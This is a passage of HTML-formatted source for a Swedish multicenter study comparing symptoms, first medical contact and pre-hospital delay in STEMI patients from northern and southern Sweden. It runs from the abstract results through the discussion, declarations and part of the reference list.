Roman,Times,serif\"><strong>Results: </strong>There were no significant differences in age. However, patients in the north had more often hypertension (52 vs 42%, p=0.02) or other concomitant comorbidities (24 vs 14%, p=0.01). Patients in the south experienced more anxiety (14 vs. 7%, p=0.01) and fear (23 vs. 14%, p=0.02) and more often contacted the emergency medical services (EMS) as first medical contact (FMC) (54 vs 44%, p=0.05). There were no differences in other main or associated symptoms or in pre-hospital delay times.&nbsp; </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusions</strong>: Patients with STEMI in the southern vs. the northern part of Sweden had more anxiety and fear, despite that they were less often alone at onset of symptoms. There were no differences in pre-hospital delay times. Although patients from the southern region contacted EMS as their FMC more frequently, it is still worrying that too few patients utilize the EMS. </span></p>\r\n\r\n<p>&nbsp;</p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Keywords:</strong><strong> </strong>Actions; Geography; Pre-hospital delay; Symptoms; ST-elevation myocardial infarction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abbreviations</strong></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">CAD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coronary Artery Disease; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">EMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Emergency Medical Service; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">FMC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; first medical contact; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">IQR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inter Quartile Rate; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">MI&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Myocardial Infarction; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">NRS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Numeric Rate Scale; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">NSTEMI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Non ST-Elevation MI; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">PPCI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Primary Percutaneous Coronary Intervention; </span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">STEMI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ST-Elevation Myocardial Infarction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Background</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In Sweden, as in most other western countries, coronary artery disease (CAD) is the leading cause of death [1,2].&nbsp; It is well known that the rapid identification and treatment in ST-elevation myocardial infarction (STEMI) reduces mortality and morbidity and improves cardiac function [3]. Patients who are treated within preferably 60 minutes, and at the latest within 90 minutes from onset of symptoms, have considerably lower mortality rates and reduction in infarct size compared with those treated later [3]. Consequently, the importance of seeking medical treatment promptly is crucial for patients experiencing a STEMI [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Different factors have been associated with prolonged pre-hospital delay, such as different sociodemographic-, clinical-, situational- and psychological factors [5-8].The pre-hospital actions also depend on the individual&rsquo;s beliefs and attitudes to symptoms. Therefore, it is crucial that patients interpret symptoms correctly, as delays will affect care-seeking behavior and jeopardize early revascularization.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Geographical variations in cardiovascular risk factors and mortality have been reported in Sweden as well as in other countries [9-13]. However, little attention has been given to possible geographical variations in symptoms, actions and pre-hospital delay times in STEMI patients, as a possible reason for the geographical diversity in geographical cardiovascular mortality. Therefore, further studies are needed to investigate if there are differences in patients&rsquo; interpretations of symptoms, patients&rsquo; actions, pre-hospital delay times and start of prompt and effective reperfusion therapy in relation to whether patients live in urban or rural areas. The aim of this study was to study whether patients with STEMI from the northern part vs. the southern part of Sweden differ in respect to symptoms and actions that may affect the pre-hospital delay times.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Setting</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Sweden has a population of 10 million and an area of 400000 km<sup>2</sup>. This study covers geographically large parts of Sweden. Northern Sweden covers more than half of Sweden but contains only 1/9 of the population, where there are a few large population centers by the coast with huge, sparsely populated areas in the inland [10]. As shown in Figure 1, the southern part is much more densely populated. Out of 69 hospitals in Sweden with acute MI care, 28 have catheterization laboratory facilities. Primary percutaneous coronary intervention (PPCI) is the reperfusion therapy chosen in 93% of STEMI patients. Thrombolysis is still used in rural areas with long transport distances as in northern Sweden [9,13].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Material and Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This Swedish multicenter study (SymTime) is described in detail in a previous publication [14]. To summarize, acute STEMI patients were included at the coronary care unit within 24 hours after admission during the time period November 2012 to January 2014. Two university hospitals and three county hospitals, all with catheterization facilities, included patients. The hospitals were selected to represent a wide geographical distribution and different types of hospitals.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Inclusion criteria were: (1) STEMI diagnosis according to ESC guidelines [15]. (2) Ability to fill in the questionnaire (3) Willingness to participate. Patients having difficulties reading and speaking Swedish were excluded. Patients were free from pain and hemodynamically stable when they were asked to participate. A previously validated self-administered questionnaire was used to access self-reported data. That questionnaire has both multiple choices and yes or no answers and has been described previously [14]. In addition, the staff nurse in charge obtained clinical data e.g. information on diagnosis, important time point measurements, culprit-lesion, first medical contact (FMC) and comorbidities from the medical records. FMC was defined as the time point when the patient first contacted the health care system. The FMC includes Emergency Medical Service (EMS), the primary health care center or emergency room. In Sweden [16], as in other European countries [17], the general public has the opportunity to receive healthcare advice via telephone staffed by an advisement nurse 24/7. This service number, however, is intended for self-care advice and non-emergency illnesses. Patient&acute;s pre-hospital delay was defined as the interval between &ldquo;time of onset of symptoms&rdquo; until FMC. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Statistical Analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Frequencies and proportions were used to describe the history of patients&rsquo; characteristics, clinical and contextual variables. Comparisons between patients from the northern vs. the southern part of Sweden were done with chi-square tests for categorical dichotomous variables, and with Student-T-test or Mann-Whitney test for continuous variables depending upon if they were normally distributed or not. Continuous variables were reported as means &plusmn; SD or median (25<sup>th</sup>-75<sup>th</sup> percentile) as appropriate. Logistic regression analyses were performed to explore the impact of distance and geography on the dependent variables. Statistical analyses were performed using SPSS software, V.22.0 (SPPS Inc, Chicago Illinois, USA) for Windows.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">According to the national quality register for myocardial infarction care, SWEDEHEART [18], 942STEMI patients were treated at the three hospitals in the southern region and 531 patients were treated at the two hospitals in the northern region during the study period. Out of these 357 patients (38%) were included in the SymTime study in the southern region and 174 patients (33%) in the northern region. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Baseline characteristics</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There was no difference in mean age between the participants in the southern and northern regions (65.9 vs. 65.0 years). The majority of patients were male, 76% and 77%, respectively. Most patients had less than 50 km distance to hospital, 85% in the south and 79% in the north (p=0.08). The two populations differed to some degree with respect to comorbidities: patients in the north had more hypertension (52 vs. 41%, p=0.02), higher prevalence of serious concomitant disease (24 vs. 14%, p=0.01), but lower prevalence of previous MI (8 vs. 15%, p=0.01) and chronic heart failure (0.6 vs. 4%, p=0.04). (Table 1)</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Symptoms</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There were no differences between patients from the two Swedish regions in main complaints where chest/thoracic pain was the most common symptom (88 vs. 90%, p=0.7). However, patients from the southern region experienced more anxiety (14 vs. 7%, p=0.02) and fear (23 vs. 14%, p=0.02). Symptom burden and intensity assessed by the questionnaire showed no differences between the two geographical regions. (Table 2)</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Course of events</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">STEMI patients from the northern region were more often alone at onset of symptoms compared with patients from the southern part (34 vs. 23%, p=0.01). Self-medication with painkillers was more common in the south (20 vs. 11%, p=0.02). There were no differences between the regions with respect to FMC and main reason to go to hospital, but patients from the southern region contacted the EMS more frequently (54 vs. 44%, p=0.05). (Table 3)</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Delay times</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There were no differences in delay times from onset of symptoms to FMC between the southern and northern region (75 vs. 70 minutes, p=0.8) or to diagnosis (27 vs. 31 minutes, p=0.1). STEMI patients from the northern region more often received fibrinolysis therapy (30%) than patients in the south (&lt;1%, p&lt;0.001). (Table 4)</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The present study shows no differences in main or associated symptoms, or in pre-hospital delay times. It is well established that early diagnosis and reperfusion treatment of patients with STEMI is of utmost importance to reduce mortality and improve prognosis. Due to long distances in the north region thrombolysis is still used to follow guidelines.&nbsp; However, this body of research lacks detailed information on symptoms, and actions in relation to living in diverse geographical areas with different distances to hospital. In a recently published study from the northern part of Sweden, cholesterol levels were higher as well as body mass index (BMI) in the rural compared to the urban populations [9]. In the current study we could not see any differences in baseline characteristics between the northern and southern parts of Sweden, in spite of the southern part being more densely populated. However, we have no information about education, lifestyle, or the socioeconomic and cultural context.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Differences in MI symptoms in regard to gender, age and different co-morbidities have been found previously [19-22], but there is a lack of studies, which describe if symptom presentation differs based on the geographic area where the patient lives. In a recently published study from Germany, fear of death was more common in men than in women and shortened the pre-hospital delay in STEMI patients [23]. However, that study did not compare symptoms and actions from different geographical regions. In the present study we found that the most frequently reported symptom of STEMI was chest discomfort/pain, and it was equally common in patients in the two geographical regions. There were no major differences in associated symptoms except for anxiety and fear, which were more common among patients in the southern region. This was found despite the fact that patients in the northern region more often were alone at onset of symptoms. It is an interesting finding, but as this (to our knowledge) has never been described before we can only speculate that patients living alone in a rural part of Sweden feel more confident than those living in an urban area. Maybe because many people in the north live farther from medical services and thus are more used to taking care of themselves and hence feel more secure, even when they suffer from acute illness.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As shown in the annual report from the Swedish national quality register SWEDEHEART [13], the pre-hospital delay times are rather short. In the present study there were no differences in delay times from onset of symptoms to FMC and to diagnosis between the northern and southern parts of the country, in spite of the longer distance from the inhabitants to nearest hospital in the northern part of Sweden. This is in agreement with a study from Greece consisting of 348 patients with MI where there was no difference in decision time before seeking medical help for patients from urban vs. rural areas [24]. However, in that study both STEMI and non ST-elevation MI (NSTEMI) patients were included, which might make it difficult to compare the results. On the other hand, a study based on the GRACE registry suggested wide geographic variation in pre-hospital delay times in patients with STEMI [25]. Patients from South America had the longest delay times, 3.1 hours, whereas patients in North America and Australia/New Zealand had the shortest, 2.0 hours [25]. These results are similar to a study in Korea on factors associated with hospital arrival time in patients with ischemic stroke. The researchers found that patients who resided in rural areas were more likely to delay seeking medical help, and the longer decision time was associated with the failure to recognize symptoms as being serious [26].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">One important difference in action was found in the present study. Patients from the southern region of Sweden contacted the EMS as FMC more frequently than those in the northern region (54 vs. 44%, p=0.05). However, there is cause for concern that in general, sofew patients called the EMS as their FMC. A prompt diagnosis with pre-hospital ECG and transfer to a primary PCI center is connected with a reduction in total ischemic time [27,28]. In Sweden, the general public has the opportunity to obtain healthcare advice via telephone, internet or a self-care guide booklet, and this national service number (1177) is provided by the county councils and regions [29]. Bray and coworkers have recently presented how mass media campaigns influence the pre-hospital behavior and result in shorter pre-hospital delay times [30]. In Sweden media campaigns have informed the general public about the possibility to contact 1177 instead of seeking immediate care at the EMS for non-life-threatening symptoms. This is worrying as we have shown in a previous study that STEMI patients who turned to Swedish Healthcare Direct (SHD) as FMC had 38 minutes longer delay from symptom onset to diagnosis than patients who called EMS [14].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">We can only speculate about the reasons why STEMI patients in the southern region contacted EMS more frequently than those in the northern region. Patients in the southern region experienced more anxiety and fear and therefore contacted the EMS more frequently. Perhaps the county councils and regions in the south give more information to the citizens and/or have more media campaigns about SHD, which increases the patients&rsquo; fear and therefore affects the patients&rsquo; FMC. We must emphasize immediate contact with EMS to save lives in STEMI patients.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Limitations</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The study has some limitations which may limit the generalizability of our results. Some patients were not hemodynamically stabilized and pain-free within 24 hours and were therefore not included in the study; this probably excluded the sickest patients. In addition, the questionnaire was only available in Swedish, which excluded non Swedish-speaking immigrants and could make comparisons with other studies difficult. Despite these limitations this study offers a new insight into whether STEMI patients from different geographical areas may differ in in symptoms and actions that might affect pre-hospital delay times.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Patients with STEMI in the southern part of Sweden had more anxiety and fear and contacted the EMS as FMC more frequently compared with patients in the northern part of Sweden, but there were no differences in other symptoms or pre-hospital delay times. It is worth noting that there were no differences in pre-hospital delay times despite long distances to hospitals in northern Sweden. However, delay in seeking medical care is still a problem among STEMI patients, and further improvement is required. Patients from the southern region contacted EMS as FMC more frequently, although too few patients used EMS as FMC. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Declarations</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Ethics, consent and permissions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Permission for the study was obtained from the regional Ethical Review Board, Link&ouml;ping, Sweden (D-nr 2012/201-31) and complied with the Declaration of Helsinki <sup>17</sup>. Informed consent was obtained from all included patients.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Consent for publication</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Not applicable.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Availability of data and material</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All data generated or analysed during this study are included in this published article and its supplementary information files.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Competing interests</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The authors declare that they have no competing interests</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Funding</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This work was supported by the Medical Research Council of Southeast Sweden (FORSS, grant number 161061), the Faculties of Medicine, Link&ouml;ping and Ume&aring; Universities. The Region of Norrbotten.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Author&rsquo;s contributions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">RMI, SSL, IT, ES and KH&Auml; contributed to the study planning, design, preparation, validation of the slightly modified questionnaire. RMI, KH&Auml; and SSL contributed to the data collection. SSL and JEK carried out statistical analysis. RMI drafted the initial manuscript. RMI and JEK revised the manuscript. All authors read and approved the final manuscript.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Acknowledgement</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The authors hereby acknowledge all participating patients and the staff att all participating hospitals who included patients on daily bases. We especially acknowledge Elisabeth Logander the highly skilled nurse at Link&ouml;ping University Hospital who supported the study group throughout the project.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/hjr.0b013e328325d67d\">Levi F, Chatenoud L, Bertuccio P, Lucchini F, Negri E, et al. (2009) Mortality from cardiovascular and cerebrovascular diseases in europe and other areas of the world: An update. Eur J Cardiovasc Prev Rehabil 16: 333-350.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ijcard.2012.10.028\">Lawesson SS, Alfredsson J, Fredrikson M, Swahn E (2013) A gender perspective on short- and long term mortality in ST-elevation myocardial infarction--a report from the SWEDEHEART register. Int J Cardiol 168: 1041-1047.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/s0140-6736(96)02514-7\">Boersma E, Maas A, Deckers J, Simoons M (1996) Early thrombolytic treatment in acute myocardial infarction: Reappraisal of the golden hour. The Lancet 348: 771-775.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.amjcard.2008.07.056\">Saczynski JS, Yarzebski J, Lessard D, et al. (2008) Trends in prehospital delay in patients with acute myocardial infarction (from the worcester heart attack study). Am J Cardiol 102: 1589-1594.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.hrtlng.2004.04.002\">Johansson I, Str&Atilde;&para;mberg A, Swahn E (2004) Factors related to delay times in patients with suspected acute myocardial infarction. Heart &amp; Lung: The Journal Of Critical Care 33: 291-300.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/jcn.0b013e31824bcebc\">Isaksson RM, Brulin C, Eliasson M, Naslund U, Zingmark K (2013) Older women&#39;s prehospital experiences of their first myocardial infarction. J Cardiovasc Nurs 28: 360-369.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1471-6712.2011.00896.x\">Isaksson RM, Brulin C, Eliasson M, Naslund U, Zingmark K (2011) Prehospital experiences of older men with a first myocardial infarction: A qualitative analysis within the northern sweden MONICA study. Scand J Caring Sci 25: 787-797.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ijcard.2013.03.022\">McKee G, Mooney M, O&#39;Donnell S, O&#39;Brien F, Biddle MJ, et al. (2013) Multivariate analysis of predictors of pre-hospital delay in acute coronary syndrome. Int J Cardiol 168: 2706-2713.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/1471-2458-14-825\">Lindroth M, Lundqvist R, Lilja M, Eliasson M (2014) Cardiovascular risk factors differ between rural and urban sweden: The 2009 northern sweden MONICA cohort. BMC Public Health 14: 825-2458-14-825.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Asplund K, Eliasson M, Janlert U, Stegmayr B (2006) What the MONICA project has taught us about cardiovascular diseases--society, public health and health care. Lakartidningen 103: 3006-3011.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Sergeev AV (2013) Stroke mortality disparities in the population of the appalachian mountain region. Ethn Dis 23: 286-291.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Barnett E, Halverson J (2000) Disparities in premature coronary heart disease mortality by region and urbanicity among black and white adults ages 35-64, 1985-1995. Public Health Rep. 115: 52-64.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Swedeheart annual report 2015. http://www.ucr.uu.se/swedeheart/arsrapport-2015/swedeheart-annual-report-2015-english-engelsk/download.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/bmjopen-2014-007059\">Thylen I, Ericsson M, Hellstrom Angerud K, Isaksson RM, Sederholm Lawesson S (2015) SymTime study group. First medical contact in patients with STEMI and its impact on time to diagnosis; an explorative cross-sectional study. BMJ Open 5: e007059-2014-007059.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Task Force on the management of ST-segment elevation acute myocardial infarction of the European Society of Cardiology (ESC), Steg PG, James SK, et al. (2012) ESC guidelines for the management of acute myocardial infarction in patients presenting with ST-segment elevation. Eur Heart J 33: 2569-2619.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12939-016-0303-2\">Cook EJ, Sharp C, Randhawa G, Guppy A, Gangotra R, et al. (2016) Who uses NHS health checks? investigating the impact of ethnicity and gender and method of invitation on uptake of NHS health checks. Int J Equity Health 15: 13-016-0303-2.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">General Assembly of the World Medical Association (2014) World medical association declaration of helsinki: Ethical principles for medical research involving human subjects. J Am Coll Dent 81: 14-18.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/hrt.2010.198804\">Jernberg T, Attebring MF, Hambraeus K, et al. (2010) The swedish web-system for enhancement and development of evidence-based care in heart disease evaluated according to recommended therapies (SWEDEHEART). Heart 96: 1617-1621.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ejcnurse.2007.09.001\">Isaksson RM, Holmgren L, Lundblad D, Brulin C, Eliasson M (2008) Time trends in symptoms and prehospital delay time in women vs. men with myocardial infarction over a 15-year period. the northern sweden MONICA study. European Journal Of Cardiovascular Nursing: Journal Of The Working Group On Cardiovascular Nursing Of The European Society Of Cardiology 7: 152-158.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1067/mhj.2002.125625\">Culic V, Eterovic D, Miric D, Silic N (2002) Symptom presentation of acute myocardial infarction: Influence of sex, age, and risk factors. Am Heart J 144: 1012-1017.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Angerud KH, Thylen I, Sederholm Lawesson S, et al. (2016) Symptoms and delay times during myocardial infarction in 694 patients with and without diabetes; an explorative cross-sectional study. BMC Cardiovasc Disord 16: 108-016-0282-7.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Khan NA, Daskalopoulou SS, Karp I, et al. (2013) Sex differences in acute coronary syndrome symptom presentation in young patients. JAMA Intern Med 173: 1863-1871.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00392-015-0895-3\">Albarqouni L, von Eisenhart Rothe A, Ronel J, Meinertz T, Ladwig KH (2016) Frequency and covariates of fear of death during myocardial infarction and its impact on prehospital delay: Findings from the multicentre MEDEA study. Clin Res Cardiol 105: 135-144.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Vavouranakis I, Fanioudaki A, Lamprogiannakis E, et al. (2010) Delays incurred during acute myocardial infarction: A comparative study of rural and urban populations in greece. Rural Remote Health 10: 1271.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.amjcard.2008.10.038\">Goldberg RJ, Spencer FA, Fox KA, et al. (2009) Prehospital delay in patients with acute coronary syndromes (from the global registry of acute coronary events [GRACE]). Am J Cardiol 103: 598-603.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/jcn.0000000000000313\">Sim J, Shin CN, An K, Todd M (2016) Factors associated with the hospital arrival time in patients with ischemic stroke in korea. J Cardiovasc Nurs 31: E10-16.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ahj.2015.05.020\">Mumma BE, Diercks DB, Wilson MD, Holmes JF (2015) Association between treatment at an ST-segment elevation myocardial infarction center and neurologic recovery after out-of-hospital cardiac arrest. Am Heart J 170: 516-523.</a></span></span></li>\r\n	<li 